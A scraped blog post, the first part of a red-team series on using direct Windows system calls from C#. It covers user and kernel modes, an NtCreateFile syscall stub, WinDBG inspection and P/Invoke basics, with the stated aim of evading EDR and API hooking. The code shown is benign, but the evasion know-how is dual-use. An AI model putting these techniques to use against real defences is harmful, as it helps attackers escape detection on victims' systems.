Cheers!</p>Jack Halonjacek.halon@gmail.comIn my previous post “Red Team Tactics: Utilizing Syscalls in C# - Prerequisite Knowledge”, we covered some basic prerequisite concepts that we needed to understand before we could utilize syscalls in C#. We touched on some in-depth topics like windows internals and of course syscalls. We also went over how the .NET Framework functions and how we can utilize unmanaged code in C# to execute our syscall assemblies.Red Team Tactics: Utilizing Syscalls in C# - Prerequisite Knowledge2020-04-14T00:00:00+00:002020-04-14T00:00:00+00:00https://jhalon.github.io/utilizing-syscalls-in-csharp-1<p>Over the past year, the security community - specifically Red Team Operators and Blue Team Defenders - have seen a massive rise in both public and private utilization of <a href="https://docs.microsoft.com/en-us/cpp/c-runtime-library/system-calls?view=vs-2019">System Calls</a> in windows malware for post-exploitation activities, as well as for the bypassing of <a href="https://www.crowdstrike.com/epp-101/what-is-endpoint-detection-and-response-edr/">EDR</a> or Endpoint Detection and Response.</p>
<p>Now, to some, the utilization of this technique might seem foreign and brand new, but that’s not really the case. Many malware authors, developers, and even game hackers have been utilizing system calls and in memory loading for years. with the initial goal of bypassing certain restrictions and securities put into place by tools such as anti-virus and anti-cheat engines.</p>
<p>A good example of how these syscall techniques can be utilized were presented in a few blog posts, such as - how to <a href="https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6">Bypass EDR’s Memory Protection, Introduction to Hooking</a> by <a href="https://twitter.com/SpecialHoang">Hoang Bui</a> and the greatest example of them all - <a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR
</a> by <a href="https://twitter.com/Cneelis">Cneelis</a> which initially focused on utilizing syscalls to dump LSASS undetected. As a Red Teamer, the usage of these techniques were critical to covert operations - as it allowed us to carry out post exploitation activities within networks while staying under the radar.</p>
<p>Implementation of these techniques were mostly done in C++ as to easily interact with the <a href="https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list">Win32 API</a> and the system. But, there was always one caveat to writing tools in C++ and that’s the fact that when our code compiled, we had an EXE. Now for covert operations to succeed, we as a operators always wanted to avoid having to “touch the disk” - meaning that we didn’t want to blindly copy and execute files on the system. What we needed, was to find a way to inject these tools into memory which were more OPSEC (Operational Security) safe.</p>
<p>While C++ is an amazing language for anything malware related, I seriously started to look at attempting to integrate syscalls into C# as some of my post-exploitation tools began transition toward that direction. This accomplishment became more desirable to me after <a href="https://twitter.com/FuzzySec">FuzzySec</a> and <a href="https://twitter.com/TheRealWover">The Wover</a> released their BlueHatIL 2020 talk - <a href="https://github.com/FuzzySecurity/BlueHatIL-2020]">Staying # and Bringing Covert Injection Tradecraft to .NET</a>.</p>
<p>After some painstaking research, failed trial attempts, long sleepless nights, and a lot of coffee - I finally succeed in getting syscalls to work in C#. While the technique itself was beneficial to covert operations, the code itself was somewhat cumbersome - you’ll understand why later.</p>
<p>Overall, the point of this blog post series will be to explore how we can use direct system calls in C# by utilizing unmanaged code to bypass EDR and API Hooking.</p>
<p>But, before we can start writing the code to do that, we must first understand some basic concepts. Such as how system calls work, and some .NET internals - specifically managed vs unmanaged code, P/Invoke, and delegates. Understanding these basics will really help us in understanding how and why our C# code works.</p>
<p>Alright, enough of my ramblings - let’s get into the basics!</p>
<h2 id="understanding-system-calls">Understanding System Calls</h2>
<p>In Windows, the process architecture is split between two processor access modes - <strong>user mode</strong> and <strong>kernel mode</strong>. The idea behind the implementation of these modes was to protect user applications from accessing and modifying any critical OS data. User applications such as Chrome, Word, etc. all run in user mode, whereas OS code such as the system services and device drivers all run in kernel mode.</p>
<p align="center"><a href="https://outflank.nl/wp-content/uploads/2019/06/Picture4.png"><img src="https://outflank.nl/wp-content/uploads/2019/06/Picture4.png" /></a></p>
<p>The kernel mode specifically refers to a mode of execution in a processor that grants access to <strong>all system memory</strong> and <strong>all CPU instructions</strong>. Some x86 and x64 processors differentiate between these modes by using another term known as <strong>ring levels</strong>.</p>
<p>Processors that utilize the ring level privilege mode define four privilege levels - other known as <strong>rings</strong> - to protect system code and data. An example of these ring levels can be seen below.</p>
<p align="center"><a href="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Priv_rings.svg/1200px-Priv_rings.svg.png"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Priv_rings.svg/1200px-Priv_rings.svg.png" /></a></p>
<p>Within Windows, Windows only utilizes two of these rings - Ring 0 for kernel mode and Ring 3 for user mode. Now, during normal processor operations, the processor will switch between these two modes depending on what type of code is running on the processor.</p>
<p>So what’s the reason behind this “ring level” of security? Well, when you start a user-mode application, windows will create a new process for the application and will provide that application with a private <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-address-spaces">virtual address space</a> and a private <a href="https://flylib.com/books/en/4.419.1.29/1/">handle table</a>.</p>
<p>This “<strong>handle table</strong>” is a <strong>kernel object</strong> that contains <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/handles-and-objects">handles</a>. Handles are simply an abstract reference value to specific system resources, such as a memory region or location, an open file, or a pipe. It’s initial goal is to hides a real memory address from the API user, thus allowing the system to carry out certain management functions like reorganize physical memory.</p>
<p>Overall, a handles job is to tasks internal structures, such as: Tokens, Processes, Threads, and more. An example of a handle can be seen below.</p>
<p align="center"><a href="/images/win-handles.png"><img src="/images/win-handles.png" /></a></p>
<p>Because an applications virtual address space is private, one application can’t alter the data that belongs to another application - unless the process makes part of its private address space available as a shared memory section via <a href="https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping">file mapping</a> or via the <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect?redirectedfrom=MSDN">VirtualProtect</a> function, or unless one process has the right to open another process to use cross-process memory functions, such as <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory">ReadProcessMemory</a> and <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory</a>.</p>
<p align="center"><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/images/virtualaddressspace01.png"><img src="https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/images/virtualaddressspace01.png" /></a></p>
<p>Now, unlike user mode, all the code that runs in kernel mode shares a single virtual address space called <strong>system space</strong>. This means that the kernel-mode drivers are not isolated from other drivers and the operating system itself. So if a driver accidentally writes to the wrong address space or does something malicious, then it can compromise the system or the other drivers. Although there are protections in place to prevent messing with the OS - like <a href="https://en.wikipedia.org/wiki/Kernel_Patch_Protection">Kernel Patch Protection</a> aka Patch Guard, but let’s not worry about these.</p>
<p>Since the kernel houses most of the internal data structures of the operating system (such as the handle tables) anytime a user mode application needs to access these data structures or needs to call an internal Windows routine to carry out a privileged operation (such as reading a file), then it must first switch from user mode to kernel mode. This is where <strong>system calls</strong> come into play.</p>
<p>For a user application to access these data structures in kernel mode, the process utilizes a special processor instruction trigger called a “<strong>syscall</strong>”. This instruction triggers the transition between the processor access modes and allows the processor to access the system service dispatching code in the kernel. This in turn calls the appropriate internal function in <a href="https://en.wikipedia.org/wiki/Ntoskrnl.exe">Ntoskrnl.exe</a> or <strong>Win32k.sys</strong> which house the kernel and OS application level logic.</p>
<p>An example of this “switch” can be observed in any application. For example, by utilizing <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a> on Notepad - we can view specific Read/Write operation properties and their call stack.</p>
<p align="center"><a href="/images/create-file-switch.jpg"><img src="/images/create-file-switch.jpg" /></a></p>
<p>In the image above, we can see the switch from user mode to kernel mode. Notice how the Win32 API <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">CreateFile</a> function call follows directly before the Native API <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile">NtCreateFile</a> call.</p>
<p>But, if we pay close attention we will see something odd. Notice how there are two different <strong>NtCreateFile</strong> function calls. One from the <strong>ntdll.dll</strong> module and one from the <strong>ntoskrnl.exe</strong> module. Why is that?</p>
<p>Well, the answer is pretty simple. The <strong>ntdll.dll</strong> DLL exports the Windows <a href="https://en.wikipedia.org/wiki/Native_API">Native API</a>. These native APIs from ntdll are implemented in ntoskrnl - you can view these as being the “kernel APIs”. Ntdll specifically supports functions and system service dispatch stubs that are used for executive functions.</p>
<p>Simply put, they house the “<strong>syscall</strong>” logic that allows us to transition our processor from user mode to kernel mode!</p>
<p>So how does this syscall CPU instruction actually look like in ntdll? Well, for us to inspect this, we can utilize <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools">WinDBG</a> to disassemble and inspect the call functions in ntdll.</p>
<p>Let’s begin by starting WinDBG and opening up a process like notepad or cmd. Once done, in the command window, type the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x ntdll!NtCreateFile
</code></pre></div></div>
<p>This simply tells WinDBG that we want to <strong>examine</strong> (x) the <strong>NtCreateFile</strong> symbol within the loaded <strong>ntdll</strong> module. After executing the command, you should see the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00007ffd`7885cb50 ntdll!NtCreateFile (NtCreateFile)
</code></pre></div></div>
<p>The output provided to us is the memory address of where NtCreateFile is in the loaded process. From here to view the disassembly, type the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>u 00007ffd`7885cb50
</code></pre></div></div>
<p>This command tells WinDBG that we want to <strong>unassemble</strong> (u) the instructions at the beginning of the memory range specified. If ran correctly, we should now see the following output.</p>
<p align="center"><a href="/images/create-file-syscall.jpg"><img src="/images/create-file-syscall.jpg" /></a></p>
<p>Overall the NtCreateFile function from ntdll is first responsible for setting up the functions call arguments on the stack. Once done, the function then needs to move it’s relevant system call number into <code class="language-plaintext highlighter-rouge">eax</code> as seen by the 2nd instruction <code class="language-plaintext highlighter-rouge">mov eax, 55</code>. In this case the syscall number for NtCreateFile is 0x55.</p>
<p>Each native function has a specific syscall number. Now these number tend to change every update - so at times it’s very hard to keep up with them. But thanks to <a href="https://twitter.com/j00ru">j00ru</a> from Google Project Zero, he constantly updates his <a href="https://j00ru.vexillium.org/syscalls/nt/64/">Windows X86-64 System Call Table</a>, so you can use that as a reference anytime a new update comes out.</p>
<p>After the syscall number has been moved into <code class="language-plaintext highlighter-rouge">eax</code>, the <strong>syscall</strong> instruction is then called. Here is where the CPU will jump into kernel mode and carry out the specified privileged operation.</p>
<p>To do so it will copy the function calls arguments from the user mode stack into the kernel mode stack. It then executes the kernel version of the function call, which will be <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatefile">ZwCreateFile</a>. Once finished, the routine is reversed and all return values will be returned to the user mode application. Our syscall is now complete!</p>
<h2 id="using-direct-system-calls">Using Direct System Calls</h2>
<p>Alright, so we know how system calls work, and how they are structured, but now you might be asking yourself… How do we execute these system calls?</p>
<p>It’s simple really. For us to directly invoke the system call, we will build the system call using assembly and execute that in our applications memory space! This will allow us to bypass any hooked function that are being monitored by EDR’s or Anti-Virus. Of course syscalls can still be monitored and executing syscalls via C# still gives off a few hints - but let’s not worry about that as it’s not in scope for this blog post.</p>
<p>For example, if we wanted to write a program that utilizes the <strong>NtCreateFile</strong> syscall, we can build some simple assembly like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov r10, rcx
mov eax, 0x55 <-- NtCreateFile Syscall Identifier
syscall
ret
</code></pre></div></div>
<p>Alright, so we have the assembly of our syscall… now what? How do we execute it in C#?</p>
<p>Well in C++ this would be as simple as adding this to a new <code class="language-plaintext highlighter-rouge">.asm</code> file, enabling the <a href="https://docs.microsoft.com/en-us/cpp/assembler/masm/masm-for-x64-ml64-exe?view=vs-2019">masm</a> build dependency, defining the C function prototype of our assembly, and simply just initialize the variables and structures needed to invoke the syscall.</p>
<p>As easy as that sounds, it’s not that simple in C#. Why? Two words - <strong>Managed Code</strong>.</p>
<h2 id="understanding-c-and-the-net-framework">Understanding C# and the .NET Framework</h2>
<p>Before we dive any deeper into understanding what this “<strong>Managed Code</strong>” is and why it’s going to cause us headaches - we need to understand what C# is and how it runs on the .NET Framework.</p>
<p>Simply, C# is a type-safe object-oriented language that enables developers to build a variety of secure and robust applications. It’s syntax simplifies many of the complexities of C++ and provides powerful features such as nullable types, enumerations, delegates, lambda expressions, and direct memory access. C# also runs on the .NET Framework, which is an integral component of Windows that includes a virtual execution system called the <a href="https://docs.microsoft.com/en-us/dotnet/standard/clr">Common Language Runtime</a> or CLR and a unified set of class libraries. The CLR is the commercial implementation by Microsoft of the <a href="https://en.wikipedia.org/wiki/Common_Language_Infrastructure">Common Language Infrastructure</a> known as the CLI.</p>
<p>Source code written in C# is compiled into an <a href="https://docs.microsoft.com/en-us/dotnet/standard/managed-code">Intermediate Language (IL)</a> that conforms to the CLI specification. The IL code and resources, such as bitmaps and strings, are stored on disk in an executable file called an assembly, typically with an extension of <code class="language-plaintext highlighter-rouge">.exe</code> or <code class="language-plaintext highlighter-rouge">.dll</code>.</p>
<p>When a C# program is executed, the assembly is loaded into the CLR, the CLR then performs <a href="https://docs.microsoft.com/en-us/dotnet/standard/managed-execution-process">Just-In-Time (JIT)</a> compilation to convert the IL code to native machine instructions. The CLR also provides other services such automatic <a href="https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals">garbage collection</a>, exception handling, and resource management. Code that’s executed by the CLR is sometimes referred to as “<strong>managed code</strong>”, in contrast to “<strong>unmanaged code</strong>”, which is compiled directly into native machine code for a specific system.</p>
<p>To put it very simply, managed code is just that: code whose execution is managed by a runtime. In this case, the runtime is the <strong>Common Language Runtime</strong></p>
<p>In therms of unmanaged code, it simply relates to C/C++ and how the programmer is in charge of pretty much everything. The actual program is, essentially, a binary that the operating system loads into memory and starts. Everything else, from memory management to security considerations are a burden of the programmer.</p>
<p>A good visual example of the the .NET Framework is structured and how it compiles C# to IL then to machine code can be seen below.</p>
<p align="center"><a href="https://docs.microsoft.com/en-us/dotnet/csharp/getting-started/media/introduction-to-the-csharp-language-and-the-net-framework/net-architecture-relationships.png"><img src="https://docs.microsoft.com/en-us/dotnet/csharp/getting-started/media/introduction-to-the-csharp-language-and-the-net-framework/net-architecture-relationships.png" /></a></p>
<p>Now, if you actually read all that then you would have noticed that I mentioned that the CLR provides other services such as “<strong>garbage collection</strong>”. In the CLR, the garbage collector also known as the <strong>GC</strong>, serves as the automatic memory manager by essentially… you know, “freeing the garbage” that is your used memory. It also gives the benefit by allocating objects on the managed heap, reclaiming objects, clearing memory, and proving memory safety by preventing known memory corruption issues like <a href="https://cwe.mitre.org/data/definitions/416.html">Use After Free</a>.</p>
<p>Now while C# is a great language, and it provides some amazing features and interoperability with Windows - like in-memory execution and as such - it does have a few caveats and downsides when it comes to coding malware or trying to interact with the system. Some of these issues are:</p>
<ol>
<li>It’s easy to disassemble and reverse engineer C# assemblies via tools like <a href="https://github.com/0xd4d/dnSpy">dnSpy</a> all because they are compiled into IL and not native code.</li>
<li>It requires .NET to be present on the system for it to execute.</li>
<li>It’s harder to do anti-debugging tricks in .NET then in native code.</li>
<li>It requires more work and code to interoperate (<strong>interop</strong>) between managed and unmanaged code.</li>
</ol>
<p>In case of this blog post, #4 is the one that will cause us the most pain when coding syscalls in C#.</p>
<p>Whatever we do in C# is “managed” - so how are we able to efficiently interact with the Windows system and processor?</p>
<p>This questions is especially important for us since we want to execute assembly code, and unfortunately for us, there is no inline ASM in C# like there is in C++ with the masm build dependencies.</p>
<p>Well, thankfully for us, Microsoft provided a way for us to be able to do that! And it’s all thanks to the CLR! Thanks to how the CLR was constructed, it actually allows us to pass the boundaries between the managed and unmanaged world. This process is known as <strong>interoperability</strong> or <strong>interop</strong> for short. With interop, C# supports pointers and the concept of “unsafe” code for those cases in which direct memory access is critical - that would be us! 😉</p>
<p>Overall this means that we can now do the same things C++ can, and we can also utilize the same windows API functions… but, with some <s>major</s> - I mean… minor headaches and inconveniences… heh. 😅</p>
<p>Of course, it is important to note that once the code passes the boundaries of the runtime, the actual management of the execution is again in the hands of unmanaged code, and thus falls under the same restrictions as it would when we code in C++. Thus we need be be careful on how we allocate, deallocate, and manage memory as well as other objects.</p>
<p>So, knowing this, how are we able to enable this interoperability in C#? Well, let me introduce you the person of the hour - <a href="https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke">P/Invoke</a> (short for Platform Invoke)!</p>
<h2 id="understanding-native-interop-via-pinvoke">Understanding Native Interop via P/Invoke</h2>
<p>P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries (meaning DLLs and such) from your managed code. Most of the P/Invoke API that allows this interoperability is contained within two namespaces - specifically <a href="https://docs.microsoft.com/en-us/dotnet/api/system?view=netframework-4.8">System</a> and <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices?view=netframework-4.8">System.Runtime.InteropServices</a>.</p>
<p>So let’s see a simple example. Let’s say you wanted to utilize the <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox">MessageBox</a> function in your C# code - which usually you can’t call unless you’re building a <a href="https://docs.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide">UWP</a> app.</p>
<p>For starters, let’s create a new <code class="language-plaintext highlighter-rouge">.cs</code> file and make sure we include the two P/Invoke namespaces.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// TODO</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now, let’s take a quick look at the C MessageBox syntax that we want to use.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">MessageBox</span><span class="p">(</span>
<span class="n">HWND</span> <span class="n">hWnd</span><span class="p">,</span>
<span class="n">LPCTSTR</span> <span class="n">lpText</span><span class="p">,</span>
<span class="n">LPCTSTR</span> <span class="n">lpCaption</span><span class="p">,</span>
<span class="n">UINT</span> <span class="n">uType</span>
<span class="p">);</span>
</code></pre></div></div>
<p>Now for starters you must know that the data types in C++ do not match those used in C#. Meaning, that data types such as <a href="https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types">HWND</a> (handle to a window) and <a href="https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types">LPCTSTR</a> (Long Pointer to Constant TCHAR String) are not valid in C#.</p>
<p>We’ll brief over converting these data types for MessageBox now so you get a brief idea - but if you want to learn more then I suggest you go read about the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/types-and-variables">C# Types and Variables</a>.</p>
<p>So for any handle objects related to C++, such as HWND, the equivalent of that data type (and any pointer in C++) in C# is the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.intptr?view=netframework-4.8">IntPtr Struct</a> which is a platform-specific type that is used to represent a pointer or a handle.</p>
<p>Any strings or pointer to string data types in C++ can be set to the C# equivalent - which simply is <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/strings/">string</a>. And for UINT or unsigned integer, that stays the same in C#.</p>
<p>Alright, now that we know the different data types, let’s go ahead and call the unmanaged MessageBox function in our code.</p>
<p>Our code should now look something like this.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Unicode</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">MessageBox</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hWnd</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpText</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCaption</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">uType</span><span class="p">);</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// TODO</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Take note that before we import our unmanaged function, we call the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllimportattribute?view=netframework-4.8">DllImport</a> attribute. This attribute is crucial to add because it tells the runtime that it should load the unmanaged DLL. The string passed in, is the target DLL that we want to load - in this case <strong>user32.dll</strong> which houses the function logic of MessageBox.</p>
<p>Additionally, we also specify which <a href="https://docs.microsoft.com/en-us/dotnet/standard/native-interop/charset">character set</a> to use for marshalling the strings, and also specify that this function calls <a href="https://docs.microsoft.com/en-us/windows/desktop/api/errhandlingapi/nf-errhandlingapi-setlasterror">SetLastError</a> and that the runtime should capture that error code so the user can retrieve it via <a href="https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getlastwin32error#System_Runtime_InteropServices_Marshal_GetLastWin32Error">Marshal.GetLastWin32Error()</a> to return any errors back to us if the function was to fail.</p>
<p>Finally, you see that we create a private and static MessageBox function with the <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/extern">extern</a> keyword. This <code class="language-plaintext highlighter-rouge">extern</code> modifier is used to declare a method that is implemented externally. Simply this tells the runtime that when you invoke this function, the runtime should find it in the DLL specified in <code class="language-plaintext highlighter-rouge">DllImport</code> attribute - which in our case will be in <strong>user32.dll</strong>.</p>
<p>Once we have all that, we can finally go ahead and call the <code class="language-plaintext highlighter-rouge">MessageBox</code> function within our main program.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Unicode</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">MessageBox</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hWnd</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpText</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCaption</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">uType</span><span class="p">);</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
<span class="nf">MessageBox</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="s">"Hello from unmanaged code!"</span><span class="p">,</span> <span class="s">"Test!"</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If done correctly, this should now execute a new message box with the title “<strong>Test!</strong>” and a message of “<strong>Hello from unmanaged code!</strong>”.</p>
<p>Awesome, so we just learned how to import and invoke unmanaged code from C#! It’s actually pretty simple when you look at it… but don’t let that fool you!</p>
<p>This was just a simple function - what happens if the function we want to call is a little more complex, such as the <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">CreateFileA</a> function?</p>
<p>Let’s take a quick look at the C syntax for this function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="nf">CreateFileA</span><span class="p">(</span>
<span class="n">LPCSTR</span> <span class="n">lpFileName</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">dwDesiredAccess</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">dwShareMode</span><span class="p">,</span>
<span class="n">LPSECURITY_ATTRIBUTES</span> <span class="n">lpSecurityAttributes</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">dwCreationDisposition</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">dwFlagsAndAttributes</span><span class="p">,</span>
<span class="n">HANDLE</span> <span class="n">hTemplateFile</span>
<span class="p">);</span>
</code></pre></div></div>
<p>Let’s look at the <code class="language-plaintext highlighter-rouge">dwDesiredAccess</code> parameter which specifies the access permissions of the file we created by using generic values such as <strong>GENERIC_READ</strong> and <strong>GENERIC__WRITE</strong>. In C++ we could simply just use these values and the system will know what we mean, but not in C#.</p>
<p>Upon looking into the documentation we will see that <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/generic-access-rights">Generic Access Rights</a> used for the <code class="language-plaintext highlighter-rouge">dwDesiredAccess</code> parameter use some sort of <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format">Access Mask Format</a> to specify what privilege we are to give the file. Now since this parameter accepts a <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/262627d8-3418-4627-9218-4ffe110850b2">DWORD</a> which is a 32-bit unsigned integer, we quickly learn that the <strong>GENERIC-*</strong> constants are actually flags which match the constant to a specific access mask bit value.</p>
<p>In the case of C#, to do the same, we would have to create a new <a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/struct">structure type</a> with the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.flagsattribute?view=netframework-4.8">FLAGS</a> enumeration attribute that will contain the same constants and values that C++ has for this function to work properly.</p>
<p>Now you might be asking me - where would I get such details? Well the best resource for you to utilize in this case - and any case where you have to deal with unmanaged code in .NET is to use the <a href="https://www.pinvoke.net/">PInvoke Wiki</a>. You’ll pretty much find anything and everything that you need here.</p>
<p>If we were to invoke this unmanaged function in C# and have it work properly, a sample of the code would look something like this:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Auto</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">CreateFile</span><span class="p">(</span>
<span class="kt">string</span> <span class="n">lpFileName</span><span class="p">,</span>
<span class="n">EFileAccess</span> <span class="n">dwDesiredAccess</span><span class="p">,</span>
<span class="n">EFileShare</span> <span class="n">dwShareMode</span><span class="p">,</span>
<span class="n">IntPtr</span> <span class="n">lpSecurityAttributes</span><span class="p">,</span>
<span class="n">ECreationDisposition</span> <span class="n">dwCreationDisposition</span><span class="p">,</span>
<span class="n">EFileAttributes</span> <span class="n">dwFlagsAndAttributes</span><span class="p">,</span>
<span class="n">IntPtr</span> <span class="n">hTemplateFile</span><span class="p">);</span>
<span class="p">[</span><span class="n">Flags</span><span class="p">]</span>
<span class="k">enum</span> <span class="n">EFileAccess</span> <span class="p">:</span> <span class="kt">uint</span>
<span class="p">{</span>
<span class="n">Generic_Read</span> <span class="p">=</span> <span class="m">0x80000000</span><span class="p">,</span>
<span class="n">Generic_Write</span> <span class="p">=</span> <span class="m">0x40000000</span><span class="p">,</span>
<span class="n">Generic_Execute</span> <span class="p">=</span> <span class="m">0x20000000</span><span class="p">,</span>
<span class="n">Generic_All</span> <span class="p">=</span> <span class="m">0x10000000</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// TODO Code Here for CreateFile</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now do you see what I meant when I said that utilizing unmanaged code in C# can be cumbersome and inconvenient? Good, so we’re on the same page now 😁</p>
<p>Alright, so we’ve covered a lot of material already. We understand how system calls work, we know how C# and the .NET framework function on a lower level, and we now know how to invoke unmanaged code and Win32 APIs from C#.</p>
<p>But, we’re still missing a critical piece of information. What could that be… 🤔</p>
<p>Oh, that’s right! Even though we can call Win32 API functions in C#, we still don’t know how to execute our “<a href="https://stackoverflow.com/questions/3434202/what-is-the-difference-between-native-code-machine-code-and-assembly-code">native code</a>” assembly.</p>
